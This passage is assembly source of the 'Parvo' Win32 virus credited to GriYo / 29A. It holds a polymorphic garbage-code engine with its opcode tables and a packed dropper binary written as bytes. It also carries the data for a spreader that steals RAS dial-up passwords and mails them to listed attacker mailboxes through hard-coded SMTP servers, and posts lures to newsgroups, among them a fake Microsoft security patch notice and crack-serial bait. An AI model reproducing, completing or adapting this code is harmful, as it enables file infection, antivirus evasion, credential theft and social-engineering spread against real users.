                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_dec_reg8
				call get_rnd32
				and ah,04h
				or ah,byte ptr [ebx+REG_MASK]
				or ah,0C8h
				mov al,0FEh
				stosw
a_dec_reg8:		ret

;----------------------------------------------------------------------------
;Generate ADD/SUB/XOR/OR/AND reg,imm
;----------------------------------------------------------------------------

g_mathregimm32: mov al,81h
                stosb
                call get_valid_reg
                call do_math_work
                stosd
                ret

g_mathregimm16: mov ax,8166h
                stosw
                call get_valid_reg
                call do_math_work
                stosw
                ret

g_mathregimm8:  call get_valid_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_math8
                mov al,80h
                stosb
                call do_math_work
                stosb
                and ah,04h
                or byte ptr [edi-00000002h],ah
a_math8:        ret

do_math_work:   mov eax,end_math_imm-tbl_math_imm
                call get_rnd_range
                lea esi,dword ptr [ebp+eax+tbl_math_imm]
                lodsb
                or al,byte ptr [ebx+REG_MASK]
                stosb
                call get_rnd32
                ret

;----------------------------------------------------------------------------
;Generate push reg + garbage + pop reg
;----------------------------------------------------------------------------

g_push_g_pop:   ;Note that garbage generator can call itself in a
                ;recursive way, so structures like the following
                ;example can be produced
                ;
                ;       push reg_1
                ;       ...
                ;       push reg_2
                ;       ...
                ;       pop reg_2
                ;       ...
                ;       pop reg_1
                ;

                call get_rnd_reg
                mov al,50h
                or al,byte ptr [ebx+REG_MASK]
                stosb
                call gen_garbage
                call get_valid_reg
                mov al,58h
                or al,byte ptr [ebx+REG_MASK]
                stosb
                ret

;----------------------------------------------------------------------------
;Generate CALL without return
;----------------------------------------------------------------------------

g_call_cont:    mov al,0E8h
                stosb
                push edi
                stosd
                call gen_rnd_block
                pop edx
                mov eax,edi
                sub eax,edx
                sub eax,00000004h
                mov dword ptr [edx],eax
                call gen_garbage
                call get_valid_reg
                mov al,58h
                or al,byte ptr [ebx+REG_MASK]
                stosb
                ret

;----------------------------------------------------------------------------
;Generate unconditional jumps
;----------------------------------------------------------------------------

g_jump_u:       mov al,0E9h
                stosb
                push edi
                stosd
                call gen_rnd_block
                pop edx
                mov eax,edi
                sub eax,edx
                sub eax,00000004h
                mov dword ptr [edx],eax
                ret

;----------------------------------------------------------------------------
;Generate conditional jumps
;----------------------------------------------------------------------------

g_jump_c:       call get_rnd32
                and ah,0Fh
                add ah,80h
                mov al,0Fh
                stosw
                push edi
                stosd
                call gen_garbage
                pop edx
                mov eax,edi
                sub eax,edx
                sub eax,00000004h
                mov dword ptr [edx],eax
                ret

;----------------------------------------------------------------------------
;Generate one byte garbage code that does not change reg values
;----------------------------------------------------------------------------

gen_save_code:  mov eax,end_save_code-tbl_save_code
                call get_rnd_range
                mov al,byte ptr [ebp+tbl_save_code+eax]
                stosb
                ret

;----------------------------------------------------------------------------
;Get a ramdom reg
;----------------------------------------------------------------------------

get_rnd_reg:    mov eax,00000007h
                call get_rnd_range
                lea ebx,dword ptr [ebp+tbl_regs+eax*02h]
                ret

;----------------------------------------------------------------------------
;Get a ramdom reg (avoid REG_READ_ONLY, REG_IS_COUNTER and REG_IS_INDEX)
;----------------------------------------------------------------------------

get_valid_reg:  call get_rnd_reg
                mov al,byte ptr [ebx+REG_FLAGS]
                and al,REG_IS_INDEX or REG_IS_COUNTER or REG_READ_ONLY
                jnz get_valid_reg
                ret

;----------------------------------------------------------------------------
;Load ecx with crypt_size / oper_size
;----------------------------------------------------------------------------

fixed_size2ecx: mov eax,inf_size
                xor ecx,ecx
                mov cl,byte ptr [ebp+oper_size]
                shr ecx,01h
                or ecx,ecx
                jz ok_2ecx
                shr eax,cl
                jnc ok_2ecx
                inc eax
ok_2ecx:        mov ecx,eax
                ret

;----------------------------------------------------------------------------
;Poly engine initialized data
;----------------------------------------------------------------------------

                ;------------------------------------------------------------
                ;Register table
                ;
                ; 00h -> BYTE -> Register mask
                ; 01h -> BYTE -> Register flags
                ;------------------------------------------------------------

tbl_regs        equ this byte

                db 00000000b,REG_READ_ONLY      ;eax
                db 00000011b,00h                ;ebx
                db 00000001b,00h                ;ecx
                db 00000010b,00h                ;edx
                db 00000110b,REG_NO_8BIT        ;esi
                db 00000111b,REG_NO_8BIT        ;edi
                db 00000101b,REG_NO_8BIT        ;ebp

end_regs        equ this byte

                ;------------------------------------------------------------
                ;Aliases for reg table structure
                ;------------------------------------------------------------

REG_MASK        equ 00h
REG_FLAGS       equ 01h

                ;------------------------------------------------------------
                ;Bit aliases for reg flags
                ;------------------------------------------------------------

REG_IS_INDEX    equ 01h         ;Register used as main index register
REG_IS_COUNTER  equ 02h         ;This register is used as loop counter
REG_READ_ONLY   equ 04h         ;Never modify the value of this register
REG_NO_8BIT     equ 08h         ;ESI EDI and EBP havent 8bit version

                ;------------------------------------------------------------
                ;Initial reg flags
                ;------------------------------------------------------------

tbl_startup     equ this byte

                db REG_READ_ONLY        ;eax
                db 00h                  ;ebx
                db 00h                  ;ecx
                db 00h                  ;edx
                db REG_NO_8BIT          ;esi
                db REG_NO_8BIT          ;edi
                db REG_NO_8BIT          ;ebp

                ;------------------------------------------------------------
                ;Code that does not disturb reg values
                ;------------------------------------------------------------

tbl_save_code   equ this byte

                clc
                stc
                cmc
                cld
                std
                
end_save_code   equ this byte

                ;------------------------------------------------------------
                ;Generators for [reg] indexing mode
                ;------------------------------------------------------------

tbl_idx_reg     equ this byte

                dd offset xx_inc_reg
                dd offset xx_dec_reg
                dd offset xx_not_reg
                dd offset xx_add_reg
                dd offset xx_sub_reg
                dd offset xx_xor_reg

                ;------------------------------------------------------------
                ;Generators for [reg+imm] indexing mode
                ;------------------------------------------------------------

tbl_dis_reg     equ this byte

                dd offset yy_inc_reg
                dd offset yy_dec_reg
                dd offset yy_not_reg
                dd offset yy_add_reg
                dd offset yy_sub_reg
                dd offset yy_xor_reg

                ;------------------------------------------------------------
                ;Generators for [reg+reg] indexing mode
                ;------------------------------------------------------------

tbl_xtended     equ this byte

                dd offset zz_inc_reg
                dd offset zz_dec_reg
                dd offset zz_not_reg
                dd offset zz_add_reg
                dd offset zz_sub_reg
                dd offset zz_xor_reg

                ;------------------------------------------------------------
                ;Generators for [reg+reg+imm] indexing mode
                ;------------------------------------------------------------

tbl_paranoia    equ this byte

                dd offset ii_inc_reg
                dd offset ii_dec_reg
                dd offset ii_not_reg
                dd offset ii_add_reg
                dd offset ii_sub_reg
                dd offset ii_xor_reg

                ;------------------------------------------------------------
                ;Opcodes for math reg,imm
                ;------------------------------------------------------------

tbl_math_imm    equ this byte

                db 0C0h                         ;add
                db 0C8h                         ;or
                db 0E0h                         ;and
                db 0E8h                         ;sub
                db 0F0h                         ;xor
                db 0D0h                         ;adc
                db 0D8h                         ;sbb

end_math_imm    equ this byte

                ;------------------------------------------------------------
                ;Magic aliases
                ;------------------------------------------------------------

MAGIC_PUTKEY    equ 01h
MAGIC_PUTDISP   equ 02h
MAGIC_ENDSTR    equ 0FFh
MAGIC_ENDKEY    equ 0FEh
MAGIC_CAREEBP   equ 00h
MAGIC_NOTEBP    equ 0FFh

                ;------------------------------------------------------------
                ;Magic data
                ;------------------------------------------------------------

xx_inc_reg      db 0FEh
                db MAGIC_CAREEBP                
                db 00h
                db 00h
                dd offset x_inc_reg_byte
                dd offset x_inc_reg_word
                dd offset x_inc_reg_dword

xx_dec_reg      db 0FEh
                db MAGIC_CAREEBP                                
                db 08h
                db 00h
                dd offset x_dec_reg_byte
                dd offset x_dec_reg_word
                dd offset x_dec_reg_dword

xx_not_reg      db 0F6h
                db MAGIC_CAREEBP                
                db 10h
                db 00h
                dd offset x_not_reg_byte
                dd offset x_not_reg_word
                dd offset x_not_reg_dword

xx_add_reg      db 80h
                db MAGIC_CAREEBP
                db 00h
                db MAGIC_PUTKEY
                dd offset x_add_reg_byte
                dd offset x_add_reg_word
                dd offset x_add_reg_dword

xx_sub_reg      db 80h
                db MAGIC_CAREEBP
                db 28h
                db MAGIC_PUTKEY
                dd offset x_sub_reg_byte
                dd offset x_sub_reg_word
                dd offset x_sub_reg_dword
                  
xx_xor_reg      db 80h
                db MAGIC_CAREEBP
                db 30h
                db MAGIC_PUTKEY
                dd offset x_xor_reg_byte
                dd offset x_xor_reg_word
                dd offset x_xor_reg_dword

yy_inc_reg      db 0FEh
                db MAGIC_NOTEBP                
                db 80h
                db MAGIC_PUTDISP
                dd offset x_inc_reg_byte
                dd offset x_inc_reg_word
                dd offset x_inc_reg_dword

yy_dec_reg      db 0FEh
                db MAGIC_NOTEBP
                db 88h
                db MAGIC_PUTDISP
                dd offset x_dec_reg_byte
                dd offset x_dec_reg_word
                dd offset x_dec_reg_dword

yy_not_reg      db 0F6h
                db MAGIC_NOTEBP                
                db 90h
                db MAGIC_PUTDISP
                dd offset x_not_reg_byte
                dd offset x_not_reg_word
                dd offset x_not_reg_dword

yy_add_reg      db 80h
                db MAGIC_NOTEBP
                db 80h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_add_reg_byte
                dd offset x_add_reg_word
                dd offset x_add_reg_dword

yy_sub_reg      db 80h
                db MAGIC_NOTEBP
                db 0A8h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_sub_reg_byte
                dd offset x_sub_reg_word
                dd offset x_sub_reg_dword

yy_xor_reg      db 80h
                db MAGIC_NOTEBP
                db 0B0h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_xor_reg_byte
                dd offset x_xor_reg_word
                dd offset x_xor_reg_dword

zz_inc_reg      db 0FEh
                db MAGIC_CAREEBP
                db 04h
                db 00h
                dd offset x_inc_reg_byte
                dd offset x_inc_reg_word
                dd offset x_inc_reg_dword

zz_dec_reg      db 0FEh
                db MAGIC_CAREEBP
                db 0Ch
                db 00h
                dd offset x_dec_reg_byte
                dd offset x_dec_reg_word
                dd offset x_dec_reg_dword

zz_not_reg      db 0F6h
                db MAGIC_CAREEBP
                db 14h
                db 00h
                dd offset x_not_reg_byte
                dd offset x_not_reg_word
                dd offset x_not_reg_dword

zz_add_reg      db 80h
                db MAGIC_CAREEBP
                db 04h
                db MAGIC_PUTKEY
                dd offset x_add_reg_byte
                dd offset x_add_reg_word
                dd offset x_add_reg_dword

zz_sub_reg      db 80h
                db MAGIC_CAREEBP
                db 2Ch
                db MAGIC_PUTKEY
                dd offset x_sub_reg_byte
                dd offset x_sub_reg_word
                dd offset x_sub_reg_dword

zz_xor_reg      db 80h
                db MAGIC_CAREEBP
                db 34h
                db MAGIC_PUTKEY
                dd offset x_xor_reg_byte
                dd offset x_xor_reg_word
                dd offset x_xor_reg_dword

ii_inc_reg      db 0FEh
                db MAGIC_NOTEBP
                db 84h
                db MAGIC_PUTDISP
                dd offset x_inc_reg_byte
                dd offset x_inc_reg_word
                dd offset x_inc_reg_dword

ii_dec_reg      db 0FEh
                db MAGIC_NOTEBP
                db 8Ch
                db MAGIC_PUTDISP
                dd offset x_dec_reg_byte
                dd offset x_dec_reg_word
                dd offset x_dec_reg_dword

ii_not_reg      db 0F6h
                db MAGIC_NOTEBP
                db 94h
                db MAGIC_PUTDISP
                dd offset x_not_reg_byte
                dd offset x_not_reg_word
                dd offset x_not_reg_dword

ii_add_reg      db 80h
                db MAGIC_NOTEBP
                db 84h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_add_reg_byte
                dd offset x_add_reg_word
                dd offset x_add_reg_dword

ii_sub_reg      db 80h
                db MAGIC_NOTEBP
                db 0ACh
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_sub_reg_byte
                dd offset x_sub_reg_word
                dd offset x_sub_reg_dword

ii_xor_reg      db 80h
                db MAGIC_NOTEBP
                db 0B4h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_xor_reg_byte
                dd offset x_xor_reg_word
                dd offset x_xor_reg_dword

                ;------------------------------------------------------------
                ;Reverse-code strings
                ;------------------------------------------------------------

x_inc_reg_byte  db 02h,0FEh,0C8h,MAGIC_ENDSTR
x_inc_reg_word  db 02h,66h,48h,MAGIC_ENDSTR
x_inc_reg_dword db 01h,48h,MAGIC_ENDSTR
x_dec_reg_byte  db 02h,0FEh,0C0h,MAGIC_ENDSTR
x_dec_reg_word  db 02h,66h,40h,MAGIC_ENDSTR
x_dec_reg_dword db 01h,40h,MAGIC_ENDSTR
x_not_reg_byte  db 02h,0F6h,0D0h,MAGIC_ENDSTR
x_not_reg_word  db 03h,66h,0F7h,0D0h,MAGIC_ENDSTR
x_not_reg_dword db 02h,0F7h,0D0h,MAGIC_ENDSTR
x_add_reg_byte  db 01h,2Ch,MAGIC_ENDKEY
x_add_reg_word  db 02h,66h,2Dh,MAGIC_ENDKEY
x_add_reg_dword db 01h,2Dh,MAGIC_ENDKEY
x_sub_reg_byte  db 01h,04h,MAGIC_ENDKEY
x_sub_reg_word  db 02h,66h,05h,MAGIC_ENDKEY
x_sub_reg_dword db 01h,05h,MAGIC_ENDKEY
x_xor_reg_byte  db 01h,34h,MAGIC_ENDKEY
x_xor_reg_word  db 02h,66h,35h,MAGIC_ENDKEY
x_xor_reg_dword db 01h,35h,MAGIC_ENDKEY

                ;------------------------------------------------------------
                ;Format for each style-table entry:
                ;
                ; 00h -> DWORD -> Address of generator
                ; 04h -> DWORD -> Address of generated subroutine or
                ;                 00000000h if not yet generated
                ;
                ;------------------------------------------------------------

style_table     equ this byte

                dd offset gen_get_delta
                dd 00000000h

                dd offset gen_load_ctr
                dd 00000000h

                dd offset gen_decrypt
                dd 00000000h

                dd offset gen_next_step
                dd 00000000h

                dd offset gen_next_ctr
                dd 00000000h

                ;Garbage code generators

tbl_garbage     equ this byte

                dd offset gen_save_code         ;clc stc cmc cld std
                dd offset g_movreg32imm         ;mov reg32,imm
                dd offset g_movreg16imm         ;mov reg16,imm
                dd offset g_movreg8imm          ;mov reg8,imm
				dd offset g_xchgregreg32		;xchg reg32,reg32
				dd offset g_xchgregreg16		;xchg reg16,reg16
				dd offset g_xchgregreg8			;xchg reg8,reg8
                dd offset g_movregreg32         ;mov reg32,reg32
                dd offset g_movregreg16         ;mov reg16,reg16
                dd offset g_movregreg8          ;mov reg8,reg8
				dd offset g_inc_reg32			;inc reg32
				dd offset g_inc_reg16			;inc reg16
				dd offset g_inc_reg8			;inc reg8
				dd offset g_dec_reg32			;dec reg32
				dd offset g_dec_reg16			;dec reg16
				dd offset g_dec_reg8			;dec reg8
                dd offset g_mathregimm32        ;math reg32,imm
                dd offset g_mathregimm16        ;math reg16,imm
                dd offset g_mathregimm8         ;math reg8,imm
                dd offset g_push_g_pop          ;push reg/garbage/pop reg
                dd offset g_call_cont           ;call/garbage/pop
                dd offset g_jump_u              ;jump/rnd block
                dd offset g_jump_c              ;jump conditional/garbage
                dd offset g_movzx_movsx         ;movzx/movsx reg32,reg16

end_garbage     equ this byte

                ;------------------------------------------------------------
                ;Seed for random number generator
                ;------------------------------------------------------------

rnd32_seed      dd 0DEADBABEh			;Let this into initialized area!!!!

;----------------------------------------------------------------------------
;Dropper compressed data
;----------------------------------------------------------------------------

dropper_pack	equ $

				db 011h, 000h, 04Dh, 05Ah, 050h, 000h, 002h, 000h
				db 000h, 000h, 004h, 000h, 00Fh, 000h, 0FFh, 0FFh
				db 000h, 000h, 0B8h, 007h, 080h, 003h, 000h, 040h
				db 000h, 01Ah, 022h, 080h, 03Bh, 000h, 001h, 000h
				db 000h, 0BAh, 010h, 000h, 00Eh, 01Fh, 0B4h, 009h
				db 0CDh, 021h, 0B8h, 001h, 04Ch, 0CDh, 021h, 090h
				db 090h, 054h, 068h, 069h, 073h, 020h, 070h, 072h
				db 06Fh, 067h, 072h, 061h, 06Dh, 020h, 06Dh, 075h
				db 073h, 074h, 020h, 062h, 065h, 020h, 072h, 075h
				db 06Eh, 020h, 075h, 06Eh, 064h, 065h, 072h, 020h
				db 057h, 069h, 06Eh, 033h, 032h, 00Dh, 00Ah, 024h
				db 037h, 088h, 080h, 00Ch, 000h, 050h, 045h, 000h
				db 000h, 04Ch, 001h, 004h, 000h, 03Ch, 025h, 00Eh
				db 06Ah, 008h, 080h, 00Eh, 000h, 0E0h, 000h, 08Eh
				db 081h, 00Bh, 001h, 002h, 019h, 000h, 006h, 000h
				db 000h, 000h, 044h, 007h, 080h, 009h, 000h, 010h
				db 000h, 000h, 000h, 010h, 000h, 000h, 000h, 020h
				db 004h, 080h, 00Bh, 000h, 040h, 000h, 000h, 010h
				db 000h, 000h, 000h, 002h, 000h, 000h, 001h, 007h
				db 080h, 003h, 000h, 003h, 000h, 00Ah, 006h, 080h
				db 005h, 000h, 080h, 000h, 000h, 000h, 004h, 006h
				db 080h, 001h, 000h, 002h, 005h, 080h, 004h, 000h
				db 010h, 000h, 000h, 020h, 004h, 080h, 004h, 000h
				db 010h, 000h, 000h, 010h, 006h, 080h, 001h, 000h
				db 010h, 00Ch, 080h, 004h, 000h, 060h, 000h, 000h
				db 054h, 01Ch, 080h, 004h, 000h, 070h, 000h, 000h
				db 00Ch, 053h, 080h, 004h, 000h, 043h, 04Fh, 044h
				db 045h, 005h, 080h, 00Dh, 000h, 010h, 000h, 000h
				db 000h, 010h, 000h, 000h, 000h, 006h, 000h, 000h
				db 000h, 006h, 00Eh, 080h, 008h, 000h, 020h, 000h
				db 000h, 060h, 044h, 041h, 054h, 041h, 005h, 080h
				db 00Dh, 000h, 040h, 000h, 000h, 000h, 020h, 000h
				db 000h, 000h, 040h, 000h, 000h, 000h, 00Ch, 00Eh
				db 080h, 01Ah, 000h, 040h, 000h, 000h, 0C0h, 02Eh
				db 069h, 064h, 061h, 074h, 061h, 000h, 000h, 000h
				db 010h, 000h, 000h, 000h, 060h, 000h, 000h, 000h
				db 002h, 000h, 000h, 000h, 04Ch, 00Eh, 080h, 01Ah
				db 000h, 040h, 000h, 000h, 0C0h, 02Eh, 072h, 065h
				db 06Ch, 06Fh, 063h, 000h, 000h, 000h, 010h, 000h
				db 000h, 000h, 070h, 000h, 000h, 000h, 002h, 000h
				db 000h, 000h, 04Eh, 00Eh, 080h, 004h, 000h, 040h
				db 000h, 000h, 050h, 068h, 087h, 005h, 000h, 0FFh
				db 025h, 030h, 060h, 040h, 0FBh, 0C1h, 002h, 000h
				db 028h, 060h, 00Ah, 080h, 006h, 000h, 038h, 060h
				db 000h, 000h, 030h, 060h, 016h, 080h, 002h, 000h
				db 046h, 060h, 006h, 080h, 002h, 000h, 046h, 060h
				db 006h, 080h, 00Ch, 000h, 04Bh, 045h, 052h, 04Eh
				db 045h, 04Ch, 033h, 032h, 02Eh, 064h, 06Ch, 06Ch
				db 004h, 080h, 00Bh, 000h, 045h, 078h, 069h, 074h
				db 050h, 072h, 06Fh, 063h, 065h, 073h, 073h, 0AEh
				db 081h, 009h, 000h, 010h, 000h, 000h, 00Ch, 000h
				db 000h, 000h, 002h, 034h, 0F6h, 081h

;----------------------------------------------------------------------------
;Copyright string ;)
;----------------------------------------------------------------------------

szSemaphoreName	db 'PARVOVIROSIS',00h

				db ' - '
				db 'Parvo BioCoded by GriYo / 29A'
				db ' - '				
				db 'Win32 Tech Support by Jacky Qwerty / 29A'
				db ' - '				
				db 'Thanks to Darkman / 29A '
				db 'and b0z0 / Ikx for their ideas and strategy'
				db ' - '				
				db 'Parvo is a research speciment, do not distribute'
				db ' - '				
				db '©1999 29A Labs ... We create life'
				db ' - '				

;----------------------------------------------------------------------------
;Contains information about how to restore host program
;----------------------------------------------------------------------------

ep_junk_size	equ 0100h

OrgSize			dd 00000000h
SizeOfModCode	dd 00000002h
OrgSizeOfImg	dd 00000000h

OrgEPCode		dw 9090h						;Here is a RET for 1st gen
				db ep_junk_size-02h dup (00h)

OrgSH			db IMAGE_SIZEOF_SECTION_HEADER dup (00h)

;----------------------------------------------------------------------------
;CRC32 of 'KERNEL32.DLL'
;----------------------------------------------------------------------------

CrcKernel32		dd 00000000h

;----------------------------------------------------------------------------
;CRC32 of API names
;----------------------------------------------------------------------------

CrcGetProcAddr	dd 00000000h	;This API takes special care

CRC32K32Apis	dd NumK32Apis	dup (00000000h)
CRC32WS32Apis	dd NumWS32Apis	dup (00000000h)
CRC32RASApis	dd NumRASApis	dup (00000000h)
CRC32ADApis		dd NumADApis	dup (00000000h)

;----------------------------------------------------------------------------
;This virus only infects certain files... This table contains the CRC32
;of each filename allowed for infection
;----------------------------------------------------------------------------

filesAllow		dd NumberOfAllow dup (00000000h)		

;----------------------------------------------------------------------------
;Mail accounts that will recibe stolen passwords
;----------------------------------------------------------------------------

GriYo_mail_00	db '<XTRO001@lycosmail.com>',00h		;Test OK
GriYo_mail_01	db '<xtro002@lettera.net>',00h		;Test OK
GriYo_mail_02	db '<XTRO004@usa.net>',00h			;Test OK
GriYo_mail_03	db '<XTRO007@mailexcite.com>',00h		;Test OK

MyAccounts		equ $

				dd offset GriYo_mail_00
				dd offset GriYo_mail_01
				dd offset GriYo_mail_02
				dd offset GriYo_mail_03

NumOfMyAccounts	equ ($-MyAccounts)/04h

;----------------------------------------------------------------------------
;Ip address of several SMTP servers
;----------------------------------------------------------------------------

tbl_SMTP		equ $

				dd offset szMailIp_00
				dd offset szMailIp_01
				dd offset szMailIp_02
				dd offset szMailIp_03
				dd offset szMailIp_04
				dd offset szMailIp_05

NumOfSMTP		equ ($-tbl_SMTP)/04h

szMailIp_00		db '193.127.65.2',00h		; vinci.ceselsa.es
szMailIp_01		db '194.175.0.2',00h		; mail.meeting.de
szMailIp_02		db '194.175.0.201',00h		; home.meeting.de
szMailIp_03		db '195.77.138.18',00h		; mail.oninet.es
szMailIp_04		db '195.77.203.4',00h		; frut.com
szMailIp_05		db '206.103.36.7',00h		; mail.meeting.com

;----------------------------------------------------------------------------
;Ip address of several NNTP servers
;----------------------------------------------------------------------------

tbl_NNTP		equ $

				dd offset szNewsIp_00
				dd offset szNewsIp_01

NumOfNNTP		equ ($-tbl_NNTP)/04h

szNewsIp_00		db '194.179.3.156',00h		; noticias.ibernet.es
szNewsIp_01		db '194.179.8.156',00h		; noticias.bcn.ibernet.es

;----------------------------------------------------------------------------
;Registry keys to find executables associated with a file extension
;----------------------------------------------------------------------------

key_html		db 'SOFTWARE\Classes\htmlfile\shell\open\command',00h
key_mailto		db 'SOFTWARE\Classes\mailto\shell\open\command',00h

;----------------------------------------------------------------------------
;Strings used in the password stealing routines
;----------------------------------------------------------------------------

lamer_domain	db 'lamer.net',0Ah,00h
lamer_domain_s	equ $-lamer_domain

lamer_mail		db '<lamer@lamer.net>'

szRASEntrieName	db 0Ah,'Name:     ',00h
szRASPhoneNum	db 0Ah,'Phone:    ',00h
szRASCallBack	db 0Ah,'Callback: ',00h
szRASUserName	db 0Ah,'Username: ',00h
szRASPassword	db 0Ah,'Password: ',00h
szRASDomain		db 0Ah,'Domain:   ',00h

;----------------------------------------------------------------------------
;Strings used in mail message building routines
;----------------------------------------------------------------------------

szMailStr_01	db 'helo '

domain_here		db 20h dup (00h)

szMailStr_02	db 'mail from: '

mail_from_here0	db 40h dup (00h)

szMailStr_03	db 'rcpt to: '

mail_to_here_00	db 40h dup (00h)

szMailStr_04	db 'data',0Ah,00h

szMailStr_05	db 'from: '

mail_from_here1	db 40h dup (00h)

szMailStr_06	db 'to: '

mail_to_here_01	db 40h dup (00h)

szMailStr_07	db 'subject: '

subject_here	db 80h dup (00h)

szMailNewLine	db 0Ah,00h

szMailEnd		db 0Ah,'.',0Ah,00h
szMailBye		db 'quit'

mail_headers	equ $

				dd offset szMailStr_01
				db 00h
				dd offset szMailStr_02
				db 00h
				dd offset szMailStr_03
				db 00h
				dd offset szMailStr_04
				db 00h
				dd offset szMailStr_05
				db 0FFh
				dd offset szMailStr_06
				db 0FFh
				dd offset szMailStr_07
				db 0FFh

NumberOfHeaders	equ ($-mail_headers)/05h

mail_end		equ $

				dd offset szMailNewLine
				db 0FFh
				dd offset szMailEnd
				db 00h
				dd offset szMailBye
				db 0FFh

NumberOfMailEnd	equ ($-mail_end)/05h

;----------------------------------------------------------------------------
;Names of newsgroups
;----------------------------------------------------------------------------

NG_index_table	equ $

				;Index for groups about hack

				db NumOfHackNG
				dd offset groups_hack
				dd offset szHackDomain
				dd offset NGM_hack_org
				dd offset NGM_body_hack
				dd offset NGM_hack_sub
				dd offset NGM_hack_file

				;Index for groups about cracks

				db NumOfCracksNG
				dd offset groups_cracks
				dd offset szCracksDomain
				dd offset NGM_cracks_org
				dd offset NGM_body_cracks
				dd offset NGM_cracks_sub
				dd offset NGM_cracks_file

				;Index for groups about sex

				db NumOfSexNG
				dd offset groups_sex
				dd offset szSexDomain
				dd offset NGM_sex_org				
				dd offset NGM_body_sex
				dd offset NGM_sex_sub
				dd offset NGM_sex_file

NumOfNGIndex	equ ($-NG_index_table)/19h

                ;------------------------------------------------------------
				;Available group names
                ;------------------------------------------------------------

				;About hacking

sz_news_group00	db 'alt.bio.hackers',0Ah,00h
sz_news_group01	db 'alt.hacker',0Ah,00h
sz_news_group02	db 'alt.hackers',0Ah,00h
sz_news_group03	db 'alt.hackers.malicious',0Ah,00h
sz_news_group04	db 'alt.hacking',0Ah,00h
sz_news_group05	db 'alt.hacking.in.progress',0Ah,00h

				;About cracks and other binaries

sz_news_group06	db 'alt.binaries',0Ah,00h
sz_news_group07	db 'alt.binaries.bbs',0Ah,00h
sz_news_group08	db 'alt.binaries.cracked',0Ah,00h
sz_news_group09	db 'alt.binaries.cracks',0Ah,00h
sz_news_group0A	db 'alt.binaries.cracks.encrypted',0Ah,00h
sz_news_group0B	db 'alt.binaries.dominion.cracks',0Ah,00h
sz_news_group0C	db 'alt.crackers',0Ah,00h
sz_news_group0D	db 'alt.cracks',0Ah,00h
sz_news_group0E	db 'alt.binaries.test',0Ah,00h

				;About xxx

sz_news_group0F	db 'alt.binaries.erotica',0Ah,00h
sz_news_group10	db 'alt.binaries.erotica.breasts',0Ah,00h
sz_news_group11	db 'alt.binaries.erotica.fetish',0Ah,00h
sz_news_group12	db 'alt.binaries.erotica.pornstar',0Ah,00h
sz_news_group13	db 'alt.binaries.multimedia.erotica',0Ah,00h
sz_news_group14	db 'es.binarios.sexo',0Ah,00h
sz_news_group15	db 'es.charla.sexo',00h

				;Spanish groups

sz_news_group16	db 'es.pruebas',0Ah,00h
sz_news_group17	db 'es.comp.hackers',0Ah,00h
sz_news_group18	db 'es.binarios.sexo',0Ah,00h
sz_news_group19	db 'es.charla.sexo',0Ah,00h
sz_news_group1A	db 'es.binarios.misc',0Ah,00h

                ;------------------------------------------------------------
				;Groups about hack
                ;------------------------------------------------------------

szHackDomain	db 'microsoft.com',0Ah,00h

groups_hack		equ $

				dd offset sz_news_group00
				dd offset sz_news_group01
				dd offset sz_news_group02
				dd offset sz_news_group03
				dd offset sz_news_group04
				dd offset sz_news_group05
				dd offset sz_news_group06
				dd offset sz_news_group07
				dd offset sz_news_group08
				dd offset sz_news_group09
				dd offset sz_news_group0A
				dd offset sz_news_group0B
				dd offset sz_news_group0C
				dd offset sz_news_group0D
				dd offset sz_news_group0E

				dd offset sz_news_group16
				dd offset sz_news_group17
				dd offset sz_news_group18
				dd offset sz_news_group19
				dd offset sz_news_group1A

NumOfHackNG		equ ($-groups_hack)/04h

NGM_body_hack	db 0Ah,0Ah
				db 'A new and dangerous virus has hit the Internet.'
				db 0Ah,0Ah
				db 'DESCRIPTION:'
				db 0Ah,0Ah
				db 'When the email client receives a malicious mail or '
				db 'news message that contains an attachment with a very '
				db 'long filename, it could cause the email to '
				db 'execute arbitrary code automaticly '
				db 'on the client workstation, thus infecting the machine.'
				db 0Ah,0Ah
				db 'Microsoft has been aware of this problem from the '
				db 'very beginning and presents here a patch for the two '
				db 'of our products in which it exploits.'
				db 0Ah,0Ah
				db 'Outlook 98 on Windows® 95, Windows 98 and '
				db 'Microsoft Windows NT® 4.0',0Ah
				db 'Outlook Express 4.0, 4.01 (including 4.01 with '
				db 'Service Pack 1) on Windows 95, Windows 98 and '
				db 'Windows NT 4.0',0Ah
				db 'Netscape Mail Clients'
				db 0Ah,0Ah
				db 'SOLUTION:'
				db 0Ah,0Ah
				db 'Customers using this products for Windows 95, '
				db 'Windows 98 or Windows NT 4.0 should execute the '
				db 'attached patch or download an updated patch from:'
				db 0Ah,0Ah
				db 'http://www.microsoft.com/outlook/enhancements/'
				db 'outptch2.asp'
				db 0Ah,0Ah
				db 'Please patch your computer(s) as soon as possible and '
				db 'help us fight this threat to the Internet.'
				db 0Ah,0Ah
				db 'Thank for your time.'
				db 0Ah,0Ah
				db 'Microsoft Support',0Ah
NGM_hack_org	db '<support@microsoft.com>'
				db 0Ah,0Ah
				db '--'
				db 00h

NGM_hack_sub	db 'Present security risk using Microsoft Internet '
				db 'Explorer and Outlook Express',0Ah,00h

NGM_hack_file	db 'msefixi'					;Have to be 07h characters

                ;------------------------------------------------------------
				;Groups about cracks
                ;------------------------------------------------------------

szCracksDomain	db 'quicknet.com',0Ah,00h

groups_cracks	equ $

				dd offset sz_news_group00
				dd offset sz_news_group01
				dd offset sz_news_group02
				dd offset sz_news_group03
				dd offset sz_news_group04
				dd offset sz_news_group05
				dd offset sz_news_group06
				dd offset sz_news_group07
				dd offset sz_news_group08
				dd offset sz_news_group09
				dd offset sz_news_group0A
				dd offset sz_news_group0B
				dd offset sz_news_group0C
				dd offset sz_news_group0D
				dd offset sz_news_group0E

NumOfCracksNG	equ ($-groups_cracks)/04h

NGM_body_cracks	db 0Ah,0Ah
				db 'Hi',0Ah,0Ah
				db 'Do you need a serial number for a unregistrated '
				db 'program of yours?'
				db 0Ah,0Ah
				db 'Do you feel like you have looked for it everywhere?'
				db 0Ah,0Ah
				db 'Even in the newest version of Phrozen Crews Oscar?'
				db 0Ah,0Ah
				db 'If you can answer -yes- to some of the above questions '
				db 'and are still looking for a serial number, this might '
